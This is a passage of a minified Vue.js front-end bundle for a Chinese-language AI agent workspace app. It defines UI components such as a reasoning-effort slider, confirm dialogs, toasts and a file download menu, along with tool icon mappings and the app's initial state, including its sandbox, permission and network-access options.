rkPermission}]),disabled:s.currentExecutionMode==="direct",onClick:Te=>j.$emit("change-network-permission",Y.value)},[E("span",{class:ke(["permission-switcher__item-label",{"permission-switcher__item-label--warn":Y.value==="full"}])},ae(Y.label),3),E("span",vJ,ae(Y.description),1)],10,mJ))),128))],2)):ge("",!0)],2)):ge("",!0)])]),E("div",{class:"context-usage-switcher",onClick:U[40]||(U[40]=Ne(()=>{},["stop"]))},[E("button",{type:"button",class:"context-usage-switcher__btn",disabled:!s.isConnected,onClick:U[39]||(U[39]=Y=>j.$emit("toggle-token-panel"))},[E("span",{class:"context-usage-ring",style:Ke({"--context-progress":`${Mr.value}%`,"--context-ring-color":Hc.value}),"aria-hidden":"true"},[...U[53]||(U[53]=[E("span",{class:"context-usage-ring__inner"},null,-1)])],4)],8,yJ),E("div",bJ,[E("div",null,ae($c.value)+"已用",1),E("div",null,ae(oo.value),1)])])],512)],512))}}),wJ=Qt(SJ,[["__scopeId","data-v-1f19a619"]]),kJ={class:"effort-header"},CJ={class:"header-state header-idle"},TJ={class:"slider-zone"},AJ={class:"level-labels"},lo=20,EJ=200,MJ=at({__name:"EffortSlider",props:{modelValue:{}},emits:["update:modelValue"],setup(s,{emit:e}){const t=["low","medium","high","xhigh","max"],n=s,i=e,r=pe(null),o=pe(null),a=pe(null),c=[],l=(H,G)=>{c[G]=H??null},u=pe(0),h=pe(2),d=pe(2),p=pe(!1),m=pe(!1);let v=0,g=0,y=0;const b=ye(()=>n.modelValue===null),_=H=>H/(t.length-1),w=H=>`calc(${lo}px + (100% - ${lo*2}px) * ${_(H)})`,S=H=>lo+(u.value-lo*2)*_(H),C=H=>{const G=u.value;if(G<=lo*2)return 0;const ee=(H-lo)/(G-lo*2);return Math.max(0,Math.min(t.length-1,Math.round(ee*(t.length-1))))},T=H=>{const G=r.value;if(!G)return lo;const ee=G.getBoundingClientRect(),ie=H-ee.left;return Math.max(lo,Math.min(ee.width-lo,ie))},k=H=>H<.5?2*H*H:1-(-2*H+2)**2/2,A=H=>{const G=u.value>lo*2,ee=G?`${H}px`:w(h.value),ie=o.value;ie&&(ie.style.transform=`translate(calc(${ee} - 50%), -50%)`);const ve=a.value;ve&&(ve.style.clipPath=`inset(0 calc(100% - (${ee})) 0 0 round 17px)`);for(let le=0;le{g&&(cancelAnimationFrame(g),g=0)},R=H=>{M(),y=H,A(H)},P=H=>{const G=y;if(G===H)return;M();const ee=performance.now(),ie=ve=>{const le=Math.min(1,(ve-ee)/EJ);y=G+(H-G)*k(le),A(y),le<1?g=requestAnimationFrame(ie):g=0};g=requestAnimationFrame(ie)},L=(H=!1)=>{const G=S(h.value);d.value=h.value,H&&u.value>lo*2?P(G):R(G)},z=()=>{i("update:modelValue",t[h.value])},Q=H=>{var G;p.value=!0,m.value=!1,v=H.clientX,(G=r.value)==null||G.setPointerCapture(H.pointerId),h.value=C(T(H.clientX)),z(),L(!0)},W=H=>{if(p.value&&(!m.value&&Math.abs(H.clientX-v)>3&&(m.value=!0),m.value)){const G=T(H.clientX);M(),y=G,A(G),d.value=C(G)}},V=H=>{if(p.value){if(p.value=!1,m.value){m.value=!1,h.value=C(T(H.clientX)),z(),L(!0);return}L(!0)}},N=()=>{i("update:modelValue",b.value?t[h.value]:null)},O=()=>{var H;u.value=((H=r.value)==null?void 0:H.clientWidth)??0,L()};return Xe(()=>n.modelValue,H=>{if(H===null)return;const G=t.indexOf(H);G<0||G===h.value||(h.value=G,L(!1))},{immediate:!0}),Cn(()=>{O(),window.addEventListener("resize",O)}),xn(()=>{M(),window.removeEventListener("resize",O)}),(H,G)=>(F(),$("div",{class:ke(["effort-slider",{"is-default":b.value,"live-drag":m.value}])},[E("div",kJ,[E("div",CJ,[G[1]||(G[1]=E("span",{class:"header-title"},"推理强度",-1)),E("span",{class:ke(["default-toggle",{checked:b.value}]),onClick:Ne(N,["stop"])},[G[0]||(G[0]=E("span",{class:"default-label"},"默认",-1)),Qe(HF,{checked:b.value,size:14},null,8,["checked"])],2)]),G[2]||(G[2]=E("div",{class:"header-state header-drag"},[E("span",null,"更高效"),E("span",null,"更智能")],-1))]),E("div",TJ,[E("div",{ref_key:"trackRef",ref:r,class:"track",onPointerdown:Q,onPointermove:W,onPointerup:V,onPointercancel:V},[E("div",{ref_key:"fillRef",ref:a,class:"fill-stack"},[(F(),$(Ie,null,tt(t,(ee,ie)=>E("div",{key:`lv-${ie}`,class:ke(["fill-layer",[`lv-${ie}`,{on:ie===d.value}]])},null,2)),64))],512),(F(),$(Ie,null,tt(t,(ee,ie)=>E("div",{key:`dot-${ie}`,class:"dot",ref_for:!0,ref:ve=>l(ve,ie),style:Ke({left:w(ie)})},null,4)),64)),E("div",{ref_key:"knobRef",ref:o,class:"knob"},null,512)],544),E("div",AJ,[(F(),$(Ie,null,tt(t,(ee,ie)=>E("span",{key:`label-${ie}`,class:ke(["level-label",{active:ie===d.value}]),style:Ke({left:w(ie)})},ae(ee),7)),64))])])],2))}}),xJ=Qt(MJ,[["__scopeId","data-v-cf3df9ee"]]),IJ={class:"confirm-modal"},RJ={class:"confirm-title"},LJ={class:"confirm-message"},PJ={key:0,class:"confirm-warning"},OJ=at({__name:"ConfirmDialog",setup(s){const e=Vs(),{confirmDialog:t}=Ii(e),n=i=>e.resolveConfirm(i);return(i,r)=>(F(),Wt(us,{name:"confirm-dialog-fade"},{default:Vt(()=>{var o;return[(o=We(t))!=null&&o.visible?(F(),$("div",{key:0,class:"confirm-overlay",onClick:r[2]||(r[2]=Ne(a=>{var c;return((c=We(t))==null?void 0:c.closeOnBackdrop)!==!1&&n(!1)},["self"]))},[E("div",IJ,[E("div",RJ,ae(We(t).title||"确认操作"),1),E("div",LJ,ae(We(t).message),1),We(t).warningText?(F(),$("div",PJ,ae(We(t).warningText),1)):ge("",!0),E("div",{class:ke(["confirm-actions",{"confirm-actions--confirm-left":We(t).confirmOnLeft}])},[E("button",{type:"button",class:"confirm-button confirm-button--cancel",onClick:r[0]||(r[0]=a=>n(!1))},ae(We(t).cancelText||"取消"),1),E("button",{type:"button",class:ke(["confirm-button confirm-button--confirm",We(t).confirmVariant==="danger"?"confirm-button--danger":"confirm-button--primary"]),onClick:r[1]||(r[1]=a=>n(!0))},ae(We(t).confirmText||"确认"),3)],2)])])):ge("",!0)]}),_:1}))}});let U_=null;function Km(){const s=Vs(),e=o=>{U_=o,o||t()},t=()=>{const o=s.easterEgg;o.cleanupTimer&&clearTimeout(o.cleanupTimer);const a=U_;a&&(a.innerHTML=""),s.clearEasterEgg()},n=(o=!1)=>{const a=s.easterEgg;a.cleanupTimer&&(clearTimeout(a.cleanupTimer),s.setEasterEggState({cleanupTimer:null}));const c=a.instance;if(!c)return t(),Promise.resolve();if(a.destroying)return a.destroyPromise||Promise.resolve();s.setEasterEggState({destroying:!0});let l;try{l=c.destroy({immediate:o,payload:a.payload,root:U_})}catch(h){return console.warn("销毁彩蛋时发生错误:",h),s.setEasterEggState({destroying:!1}),t(),Promise.resolve()}const u=()=>{s.setEasterEggState({destroyPromise:null,destroying:!1}),t()};if(l&&typeof l.then=="function"){const h=l.then(()=>{u()}).catch(d=>{console.warn("彩蛋清理失败:",d),u()});return s.setEasterEggState({destroyPromise:h}),h}return u(),Promise.resolve()},i=async(o,a={},c)=>{const l=window.EasterEggRegistry;if(!l){console.warn("EasterEggRegistry 尚未加载,无法播放彩蛋");return}if(!l.has(o)){console.warn("未注册的彩蛋 effect:",o),await n(!0);return}const u=U_;if(!u){console.warn("未找到彩蛋根节点");return}await n(!0),s.setEasterEggState({active:!0,effect:o,payload:a});const h=l.start(o,{root:u,payload:a,app:c});if(!h){t();return}s.setEasterEggState({instance:h,destroyPromise:null,destroying:!1}),s.easterEgg.cleanupTimer&&clearTimeout(s.easterEgg.cleanupTimer);const d=Math.max(8,Number(a==null?void 0:a.duration_seconds)||45),p=setTimeout(()=>{const m=n(!1);m&&typeof m.catch=="function"&&m.catch(()=>{})},d*1e3);s.setEasterEggState({cleanupTimer:p}),a!=null&&a.message};return{registerOverlayRoot:e,handlePayload:async(o,a)=>{let c=o;if(typeof o=="string")try{c=JSON.parse(o)}catch{console.warn("无法解析彩蛋结果:",o);return}if(!c||typeof c!="object")return;if(!c.success){c.error&&console.warn("彩蛋触发失败:",c.error),await n(!0);return}const l=(c.effect||"").toLowerCase();if(!l){console.warn("彩蛋结果缺少 effect 字段");return}await i(l,c,a)},startEffect:i,destroyEffect:n,finishCleanup:t}}const DJ=at({__name:"EasterEggOverlay",setup(s){const e=Vs(),{easterEgg:t}=Ii(e),n=pe(null),i=Km();return Cn(()=>{i.registerOverlayRoot(n.value)}),xn(()=>{i.registerOverlayRoot(null)}),(r,o)=>(F(),$("div",{class:ke(["easter-egg-overlay",{active:We(t).active}]),"aria-hidden":"true",ref_key:"overlayRoot",ref:n},null,2))}}),NJ=["disabled"],BJ=at({__name:"FileContextMenu",props:{downloadFile:{type:Function},downloadFolder:{type:Function}},setup(s){const e=s,t=Tc(),{contextMenu:n}=Ii(t),i=()=>{const l=n.value.node;!l||l.type!=="file"||!l.path||(e.downloadFile(l.path),t.hideContextMenu())},r=()=>{const l=n.value.node;!l||l.type!=="folder"||!l.path||(e.downloadFolder(l.path),t.hideContextMenu())},o=l=>{if(!n.value.visible)return;const u=l.target;u&&u.closest(".context-menu")||t.hideContextMenu()},a=()=>{n.value.visible&&t.hideContextMenu()},c=l=>{l.key==="Escape"&&n.value.visible&&t.hideContextMenu()};return Cn(()=>{document.addEventListener("click",o),window.addEventListener("scroll",a,!0),document.addEventListener("keydown",c)}),xn(()=>{document.removeEventListener("click",o),window.removeEventListener("scroll",a,!0),document.removeEventListener("keydown",c)}),(l,u)=>We(n).visible?(F(),$("div",{key:0,class:"context-menu",style:Ke({top:We(n).y+"px",left:We(n).x+"px"}),onClick:u[0]||(u[0]=Ne(()=>{},["stop"]))},[We(n).node&&We(n).node.type==="file"?(F(),$("button",{key:0,type:"button",onClick:Ne(i,["stop"])}," 下载文件 ")):ge("",!0),We(n).node&&We(n).node.type==="folder"?(F(),$("button",{key:1,type:"button",disabled:!We(n).node.path,onClick:Ne(r,["stop"])}," 下载压缩包 ",8,NJ)):ge("",!0)],4)):ge("",!0)}}),FJ={key:0,class:"quota-toast"},$J={class:"quota-toast-label"},HJ=at({__name:"QuotaToast",setup(s){const e=Vs(),{quotaToast:t}=Ii(e),n=()=>e.dismissQuotaToast();return(i,r)=>(F(),Wt(us,{name:"quota-toast-fade"},{default:Vt(()=>[We(t)?(F(),$("div",FJ,[E("span",$J,ae(We(t).message),1),E("button",{type:"button",class:"toast-close","aria-label":"关闭通知",onClick:n},"×")])):ge("",!0)]),_:1}))}}),UJ={class:"app-toast-body"},WJ={key:0,class:"app-toast-title"},zJ={class:"app-toast-message"},jJ=["onClick"],VJ=at({__name:"ToastStack",setup(s){const e=Vs(),{toastQueue:t}=Ii(e),n=i=>e.dismissToast(i);return(i,r)=>(F(),$("div",{class:ke(["toast-stack",{"toast-stack--empty":!We(t).length}])},[Qe(Vv,{name:"quota-toast-fade",tag:"div"},{default:Vt(()=>[(F(!0),$(Ie,null,tt(We(t),o=>(F(),$("div",{key:o.id,class:ke(["app-toast",o.type?`app-toast--${o.type}`:""])},[E("div",UJ,[o.title?(F(),$("div",WJ,ae(o.title),1)):ge("",!0),E("div",zJ,ae(o.message),1)]),o.closable!==!1?(F(),$("button",{key:0,type:"button",class:"toast-close","aria-label":"关闭通知",onClick:a=>n(o.id)}," × ",8,jJ)):ge("",!0)],2))),128))]),_:1})],2))}}),GJ={class:"app-root"},qJ=at({__name:"AppShell",props:{downloadFile:{type:Function},downloadFolder:{type:Function}},setup(s){return(e,t)=>(F(),$("div",GJ,[Qe(HJ),Qe(VJ),Qe(OJ),OF(e.$slots,"default"),Qe(DJ),Qe(BJ,{"download-file":s.downloadFile,"download-folder":s.downloadFolder},null,8,["download-file","download-folder"])]))}}),KJ=br(()=>wt(()=>import("./PersonalizationDrawer.js"),__vite__mapDeps([0,1,2,3,4,5,6]))),QJ=br(()=>wt(()=>import("./ImagePicker.js"),__vite__mapDeps([7,1,3,8]))),XJ=br(()=>wt(()=>import("./ConversationReviewDialog.js"),__vite__mapDeps([9,1,3,10]))),YJ=br(()=>wt(()=>import("./SubAgentActivityDialog.js"),__vite__mapDeps([11,1,3,5,2,4,12]))),JJ=br(()=>wt(()=>import("./BackgroundCommandDialog.js"),__vite__mapDeps([13,1,3,5,2,4]))),ZJ=br(()=>wt(()=>import("./VersioningDialog.js"),__vite__mapDeps([14,1,3,15]))),eZ=br(()=>wt(()=>import("./UserQuestionDialog.js"),__vite__mapDeps([16,1,3,17]))),tZ=br(()=>wt(()=>import("./PlanApprovalDialog.js"),__vite__mapDeps([18,1,3,5,2,4,19]))),sZ=br(()=>wt(()=>import("./TutorialOverlay.js"),__vite__mapDeps([20,1,3,5,2,4]))),nZ=br(()=>wt(()=>import("./NewUserTutorialPrompt.js"),__vite__mapDeps([21,1,3,22]))),iZ=br(()=>wt(()=>import("./GoalProgressDialog.js"),__vite__mapDeps([23,1,3,24]))),rZ=br(()=>wt(()=>import("./WorkflowDemoShell.js"),__vite__mapDeps([25,1,3,5,2,4,26]))),oZ={ChatArea:sU,ConversationSidebar:J8,ToolApprovalPanel:EW,GitChangesPanel:lz,TerminalPanel:uj,TokenDrawer:jj,PersonalizationDrawer:KJ,QuickMenu:gL,InputComposer:wJ,EffortSlider:xJ,AppShell:qJ,StatusAvatar:bD,ImagePicker:QJ,ConversationReviewDialog:XJ,SubAgentActivityDialog:YJ,BackgroundCommandDialog:JJ,VersioningDialog:ZJ,UserQuestionDialog:eZ,PlanApprovalDialog:tZ,TutorialOverlay:sZ,NewUserTutorialPrompt:nZ,GoalProgressDialog:iZ,WorkflowDemoShell:rZ},aZ=Object.freeze({alignLeft:"/static/icons/align-left.svg",arrowLeft:"/static/icons/arrow-left.svg",bot:"/static/icons/bot.svg",book:"/static/icons/book.svg",brain:"/static/icons/brain.svg",brainCog:"/static/icons/brain-cog.svg",camera:"/static/icons/camera.svg",check:"/static/icons/check.svg",chatBubble:"/static/icons/chat-bubble.svg",messageQuestion:"/static/icons/message-circle-question-mark.svg",checkbox:"/static/icons/checkbox.svg",chevronDown:"/static/icons/chevron-down.svg",circleAlert:"/static/icons/circle-alert.svg",clipboard:"/static/icons/clipboard.svg",copy:"/static/icons/copy.svg",clock:"/static/icons/clock.svg",eye:"/static/icons/eye.svg",file:"/static/icons/file.svg",filePen:"/static/icons/file-pen.svg",flag:"/static/icons/flag.svg",folder:"/static/icons/folder.svg",folderClosed:"/static/icons/folder-closed.svg",folderOpen:"/static/icons/folder-open.svg",gitBranch:"/static/icons/git-branch.svg",globe:"/static/icons/globe.svg",hammer:"/static/icons/hammer.svg",info:"/static/icons/info.svg",laptop:"/static/icons/laptop.svg",layers:"/static/icons/layers.svg",keyboard:"/static/icons/keyboard.svg",layoutGrid:"/static/icons/layout-grid.svg",menu:"/static/icons/menu.svg",mic:"/static/icons/mic.svg",mcpLogo:"/static/icons/mcp-logo.svg",monitor:"/static/icons/monitor.svg",navigation:"/static/icons/navigation.svg",notebook:"/static/icons/notebook.svg",notebookPen:"/static/icons/notebook-pen.svg",notebookSearch:"/static/icons/notebook-search.svg",octagon:"/static/icons/octagon.svg",pencil:"/static/icons/pencil.svg",play:"/static/icons/play.svg",plus:"/static/icons/plus.svg",python:"/static/icons/python.svg",recycle:"/static/icons/recycle.svg",refreshCw:"/static/icons/refresh-cw.svg",save:"/static/icons/save.svg",search:"/static/icons/search.svg",settings:"/static/icons/settings.svg",sparkles:"/static/icons/sparkles.svg",stickyNote:"/static/icons/sticky-note.svg",terminal:"/static/icons/terminal.svg",trash:"/static/icons/trash.svg",triangleAlert:"/static/icons/triangle-alert.svg",bell:"/static/icons/bell.svg",user:"/static/icons/user.svg",userPen:"/static/icons/user-pen.svg",workflow:"/static/icons/workflow.svg",wrench:"/static/icons/wrench.svg",x:"/static/icons/x.svg",zap:"/static/icons/zap.svg"}),lZ=Object.freeze({close_sub_agent:"bot",create_file:"file",create_skill:"sparkles",manage_personalization:"userPen",ask_user:"messageQuestion",create_folder:"folder",create_sub_agent:"bot",delete_file:"trash",extract_webpage:"globe",write_file:"pencil",edit_file:"pencil",vlm_analyze:"camera",ocr_image:"camera",read_file:"book",read_skill:"book",rename_file:"pencil",run_command:"terminal",save_webpage:"save",sleep:"clock",todo_create:"stickyNote",todo_update_task:"check",terminal_input:"keyboard",terminal_session:"monitor",terminal_snapshot:"clipboard",unfocus_file:"eye",update_memory:"brain",recall_project_memory:"notebook",search_project_memory:"notebookSearch",update_project_memory:"notebookPen",conversation_search:"search",conversation_review:"book",get_sub_agent_status:"bot",web_search:"search",trigger_easter_egg:"sparkles",list_mcp_servers:"mcpLogo",view_image:"camera",view_video:"eye",activate_workflow:"workflow",report_workflow_stage:"workflow",choose_workflow_branch:"workflow",get_workflow_status:"workflow",deactivate_workflow:"workflow",list_workflows:"workflow",save_workflow:"workflow",submit_plan:"clipboard",terminate_sub_agent:"bot"}),cZ=Object.freeze({network:"globe",mcp:"mcpLogo",file_edit:"pencil",personalization:"userPen",communication:"messageQuestion",read_focus:"eye",skills:"sparkles",terminal_realtime:"monitor",terminal_command:"terminal",memory:"brain",todo:"stickyNote",sub_agent:"bot",easter_egg:"sparkles"}),_D="agents_workspace_mode",uZ=()=>{try{const s=window.localStorage.getItem(_D);return s==="host"||s==="docker"?s:null}catch{return null}},uT=s=>{try{window.localStorage.setItem(_D,s?"host":"docker")}catch{}},SD="agents_new_conversation_type",hZ=()=>{try{return window.localStorage.getItem(SD)==="multi_agent"?"multi_agent":"agent"}catch{return"agent"}},wD=s=>{try{window.localStorage.setItem(SD,s)}catch{}},WI=uZ(),dZ=hZ();function fZ(){return{initialRouteResolved:!1,dropToolEvents:!1,workflowDemoRoute:"",currentConversationType:null,newConversationType:dZ,agentTypeMenuOpen:!1,multiAgentIndexRebuildTriggered:!1,usePollingMode:!0,waitingForSubAgent:!1,waitingForBackgroundCommand:!1,hideSystemMessages:!0,preparingTools:new Map,activeTools:new Map,toolActionIndex:new Map,toolStacks:new Map,taskInProgress:!1,runningStateReconcileTimer:null,_runningStateIdleStreak:0,runningWorkspaceTasksRefreshTimer:null,runtimeQueuedMessages:[],runtimeGuidanceFallbackQueue:[],runtimeQueueSuppressedMessageIds:new Set,runtimeGuidanceSuppressedTextCounts:{},runtimeQueueLimit:5,runtimeQueueAutoSendInProgress:!1,runtimeQueueSyncLockKey:"",runtimeQueueSyncLockUntil:0,projectGitSummary:null,projectGitSummaryRefreshTimer:null,terminalCountRefreshTimer:null,projectGitSummaryRefreshing:!1,gitChangesPanelOpen:!1,gitChangesLoading:!1,gitChangesError:"",gitChangesContext:3,gitChangesFileContexts:{},gitChangesFoldContexts:{},gitChangesDiff:null,terminalPanelOpen:!1,terminalSessions:{},terminalActiveSession:"",terminalSessionLogs:{},terminalHydrated:{},terminalCount:0,previousTerminalCount:0,rightSplitRatio:.5,composerReservedHeight:80,lastHistoryLoadedConversationId:null,searchRequestSeq:0,searchActiveQuery:"",compressing:!1,compressionInProgress:!1,compressionConversationId:null,compressionMode:"",compressionStage:"",compressionError:"",compressionToastId:null,skipConversationLoadedEvent:!1,skipConversationHistoryReload:!1,_scrollListenerReady:!1,historyLoading:!1,historyLoadingFor:null,historyLoadSeq:0,blankHeroActive:!1,blankHeroExiting:!1,blankWelcomeText:"",lastBlankConversationId:null,titleTypingText:"",titleTypingTarget:"",titleTypingTimer:null,titleReady:!1,suppressTitleTyping:!1,headerMenuOpen:!1,blankWelcomePool:["有什么可以帮忙的?","想了解些热点吗?","要我帮你完成作业吗?","整点代码?","随便聊点什么?","想让我帮你整理一下思路吗?","要不要我帮你写个小工具?","发我一句话,我来接着做。","我来给你画幅画?","想看小猫吗?","有什么难题丢过来吧。","想不想看个有意思的?","来,说说你的需求~"],mobileViewportQuery:null,modeMenuOpen:!1,modelMenuOpen:!1,permissionMenuOpen:!1,currentPermissionMode:"unrestricted",pendingPermissionMode:"",executionModeEnabled:!1,currentExecutionMode:"sandbox",pendingExecutionMode:"",networkPermissionEnabled:!1,currentNetworkPermission:"restricted",pendingNetworkPermission:"",networkPermissionOptions:[{value:"restricted",label:"受限",description:"仅允许本地回环访问,外部网络不可用"},{value:"full",label:"完全开放",description:"允许所有出站和入站网络连接"}],workModeMenuOpen:!1,currentWorkMode:"plan",workModeOptions:[{value:"plan",label:"计划",description:"只制定计划,批准后执行"},{value:"ask",label:"询问",description:"先讨论确认,再开工"},{value:"execute",label:"执行",description:"自行补全细节,直接开工"}],pathAuthorizationDialogOpen:!1,pathAuthorizationMode:"writable",pathAuthorizationWritableDraft:"",pathAuthorizationReadableDraft:"",pathAuthorizationDraft:"",pathAuthorizationSaving:!1,versioningHostMode:WI==="host",dockerProjectMode:WI==="docker",hostWorkspaces:[],currentHostWorkspaceId:"",defaultHostWorkspaceId:"",hostWorkspaceSwitching:!1,hostWorkspaceCreatePath:"",hostWorkspaceCreateLabel:"",hostWorkspaceCreateSubmitting:!1,hostWorkspaceCreateError:"",hostWorkspaceManageSubmitting:!1,versioningEnabled:!1,versioningTrackingMode:"conversation_only",versioningMode:"overwrite",versioningDialogOpen:!1,versioningLoading:!1,versioningCheckpoints:[],versioningSelectedSeq:null,versioningSelectedDetail:null,versioningDetailLoading:!1,versioningRestoring:!1,versioningRestoreMode:"overwrite",versioningInitializingBackupToastId:null,permissionModeOptions:[{value:"readonly",label:"只读",description:"仅允许读取/搜索类工具,禁止修改工作区"},{value:"approval",label:"批准",description:"对工作区文件进行修改的工具需用户批准后才会执行"},{value:"auto_approval",label:"自动审核",description:"工作区内写入直通,高风险操作由后台审核智能体自动审批"},{value:"unrestricted",label:"无限制",description:"保持当前默认行为,不额外拦截"}],executionModeOptions:[{value:"sandbox",label:"沙箱",description:"所有指令会在系统沙箱中执行"},{value:"direct",label:"完全访问权限",description:"所有指令会在宿主机直接执行"}],pendingToolApprovals:[],decidingApprovalIds:[],pendingUserQuestions:[],pendingPlanApprovals:[],answeringPlanApprovalIds:[],userQuestionDialogVisible:!1,userQuestionMinimized:!1,userQuestionActiveIndex:0,answeringUserQuestionIds:[],userQuestionOriginalTitle:"",userQuestionTitleBlinkTimer:null,userQuestionTitleBlinkRed:!0,autoApprovalFeedLines:[],autoApprovalFinalMessage:"",autoApprovalTitle:"自动审批记录",approvalAutoCloseTimer:null,imageEntries:[],imageLoading:!1,videoEntries:[],videoLoading:!1,conversationHasImages:!1,conversationHasVideos:!1,conversationListRequestSeq:0,conversationListRefreshToken:0,connectionHeartbeatTimer:null,connectionHeartbeatActive:!1,connectionHeartbeatFailCount:0,connectionHeartbeatSeq:0,connectionHeartbeatLastLatencyMs:0,connectionHeartbeatLastError:"",connectionHeartbeatLastStatusCode:null,connectionHeartbeatLastChangeAt:0,connectionHeartbeatInFlight:!1,connectionHeartbeatFailThreshold:3,connectionHeartbeatRequestTimeoutMs:5e3,connectionHeartbeatIntervalMs:8e3,connectionHeartbeatDisconnectedIntervalMs:1e3,composerDraftSaveTimer:null,composerDraftDirty:!1,composerDraftLastSyncedContent:"",composerDraftFetchSeq:0,icons:aZ,toolCategoryIcons:cZ,reviewDialogOpen:!1,reviewSelectedConversationId:null,reviewSubmitting:!1,reviewPreviewLines:[],reviewPreviewLoading:!1,reviewPreviewError:null,reviewPreviewLimit:20,reviewSendToModel:!0,reviewGeneratedPath:null,reviewConversations:[],reviewListLoading:!1,reviewListLoadingMore:!1,reviewListHasMore:!1,reviewListOffset:0,reviewListLimit:20,tutorialPromptVisible:!1,tutorialPromptLoading:!1,tutorialPromptUsername:"",dragOverActive:!1,_boundDragEnter:null,_boundDragOver:null,_boundDragLeave:null,_boundDrop:null,_manualScrollSuppressUntil:0,_escapedByUserScroll:!1,_autoRelockCooldownUntil:0,stickIsAtBottom:!0,stickIsNearBottom:!0}}const pZ={web_search:"search",conversation_search:"search",extract_webpage:"webpage",save_webpage:"save",write_file:"write",edit_file:"write",read_file:"read",read_skill:"read",conversation_review:"read",vlm_analyze:"camera",ocr_image:"camera",view_image:"camera",view_video:"camera",create_skill:"skill",trigger_easter_egg:"skill",terminal_session:"monitor",terminal_input:"keyboard",terminal_snapshot:"clipboard",sleep:"sleep",run_command:"command",update_memory:"brain",recall_project_memory:"notebook",search_project_memory:"search",update_project_memory:"notebook",todo_create:"note",todo_update_task:"check",create_sub_agent:"subagent",close_sub_agent:"subagent",terminate_sub_agent:"subagent",get_sub_agent_status:"subagent",manage_personalization:"persona",ask_user:"ask",list_mcp_servers:"mcp"};function gZ(s){const e=String(s||"");return e.startsWith("mcp__")?"mcp":pZ[e]||"command"}function mZ(s){var n,i,r;if(!Array.isArray(s))return[];let e=-1;for(let o=s.length-1;o>=0;o--){if(((n=s[o])==null?void 0:n.type)==="tool"){e=o;break}if(((i=s[o])==null?void 0:i.type)==="thinking")break}if(e<0)return[];let t=e;for(;t>0&&((r=s[t-1])==null?void 0:r.type)==="tool";)t--;return s.slice(t,e+1)}const zI=new Set(["preparing","running","pending","queued","awaiting_approval","pending_approval","awaiting_user_answer"]),vZ=new Set(["completed","failed","timeout","terminated","cancelled"]),yZ={...Ko(z2,["isConnected","socket","stopRequested","projectPath","agentVersion","thinkingMode","runMode","reasoningEffort"]),...b_(Tc,["contextMenu","fileTree","expandedFolders","todoList"]),...b_(Bo,{qdHasContent:"hasContent",qdExpanded:"expanded"}),...Ko(Bo,{qdUserCollapsed:"userCollapsed"}),...Ko(Vs,["sidebarCollapsed","chatDisplayMode","rightWidth","rightCollapsed","isResizing","resizingPanel","minPanelWidth","maxPanelWidth","quotaToast","toastQueue","confirmDialog","easterEgg","isMobileViewport","mobileOverlayMenuOpen","activeMobileOverlay"]),...Ko(vr,["conversations","conversationsLoading","hasMoreConversations","loadingMoreConversations","currentConversationId","currentConversationTitle","searchQuery","searchTimer","searchResults","searchGroups","conversationInsertAnimations","conversationListAnimationMode","pendingDeletingConversationIds","searchActive","searchInProgress","searchMoreAvailable","searchOffset","searchTotal","conversationsOffset","conversationsLimit","runningWorkspaceTasks","acknowledgedCompletedTaskIds","workspaceGroups"]),...Ko(Qi,["currentModelKey"]),...b_(Qi,["models"]),...Ko(oE,["messages","currentMessageIndex","streamingMessage","expandedBlocks","autoScrollEnabled","userScrolling","thinkingScrollLocks"]),...Ko(q0,["inputMessage","inputLineCount","inputIsMultiline","inputIsFocused","quickMenuOpen","toolMenuOpen","settingsOpen","imagePickerOpen","videoPickerOpen","selectedImages","selectedVideos","selectedFiles","goalModeArmed","goalRunning","goalProgress","goalDialogOpen"]),resolvedRunMode(){const s=this.runMode==="deep"?"thinking":this.runMode;return["fast","thinking"].includes(s)?s:this.thinkingMode?"thinking":"fast"},headerRunModeOptions(){return[{value:"fast",label:"快速模式",desc:"低思考,响应更快"},{value:"thinking",label:"思考模式",desc:"持续推理,适合复杂任务"}]},headerRunModeLabel(){const s=this.headerRunModeOptions.find(e=>e.value===this.resolvedRunMode);return s?s.label:"快速模式"},showEffortSlider(){var e;const s=Qi();return this.resolvedRunMode==="thinking"&&!!((e=s.currentModel)!=null&&e.supportsReasoningEffort)},currentModelLabel(){var e;return((e=Qi().currentModel)==null?void 0:e.label)||"未选择模型"},policyUiBlocks(){return No().uiBlocks||{}},adminDisabledModels(){return No().disabledModelSet},modelOptions(){const s=this.adminDisabledModels||new Set;return(this.models||[]).map(t=>({...t,disabled:s.has(t.key)}))},titleRibbonVisible(){return!this.isMobileViewport&&this.chatDisplayMode==="chat"},chatContainerStyle(){const e=Number(this.composerReservedHeight||0),t=Number.isFinite(e)?Math.max(90,Math.round(e)):90,n=Math.max(0,t-90);return{"--composer-base-height":"calc(90px + var(--app-bottom-inset, 0px))","--composer-reserved-height":`calc(${t}px + var(--app-bottom-inset, 0px))`,"--composer-growth-height":`${n}px`}},...Ko(I2,["preparingTools","activeTools","toolActionIndex","toolStacks","toolSettings","toolSettingsLoading"]),...Ko(R2,["tokenPanelCollapsed","currentContextTokens","currentConversationTokens","projectStorage","containerStatus","containerNetRate","usageQuota"]),...Ko(N2,["focusedFiles"]),...Ko(D2,["uploading","mediaUploading"]),...b_(j2,{monitorIsLocked:s=>s.isLocked}),displayModeSwitchDisabled(){return!!this.policyUiBlocks.block_virtual_monitor},compressionActiveForCurrentConversation(){if(!this.compressionInProgress&&!this.compressing)return!1;const s=this.compressionConversationId;return s?s===this.currentConversationId:!!this.currentConversationId},displayLockEngaged(){return this.compressionActiveForCurrentConversation},currentWorkspaceHasRunningTask(){return!(this.versioningHostMode||this.dockerProjectMode)||!this.currentHostWorkspaceId?!1:(Array.isArray(this.runningWorkspaceTasks)?this.runningWorkspaceTasks:[]).some(e=>{const t=String((e==null?void 0:e.status)||"");return(e==null?void 0:e.workspace_id)===this.currentHostWorkspaceId&&(e==null?void 0:e.conversation_id)===this.currentConversationId&&["pending","running","cancel_requested"].includes(t)})},streamingUi(){return this.streamingMessage||this.hasPendingToolActions()},composerBusy(){const s=this.monitorIsLocked&&this.chatDisplayMode==="monitor";return this.streamingUi||this.taskInProgress||s||this.stopRequested||this.compressionActiveForCurrentConversation},activeSubAgentCount(){const s=oh(),e=Array.isArray(s.subAgents)?s.subAgents:[],t=new Set(["completed","failed","timeout","terminated"]);return e.filter(n=>{const i=String((n==null?void 0:n.status)||"").toLowerCase();return!t.has(i)}).length},mainChatIdle(){return!this.streamingUi&&!this.stopRequested&&!(this.monitorIsLocked&&this.chatDisplayMode==="monitor")&&!this.compressionActiveForCurrentConversation},composerStreamingForInput(){return 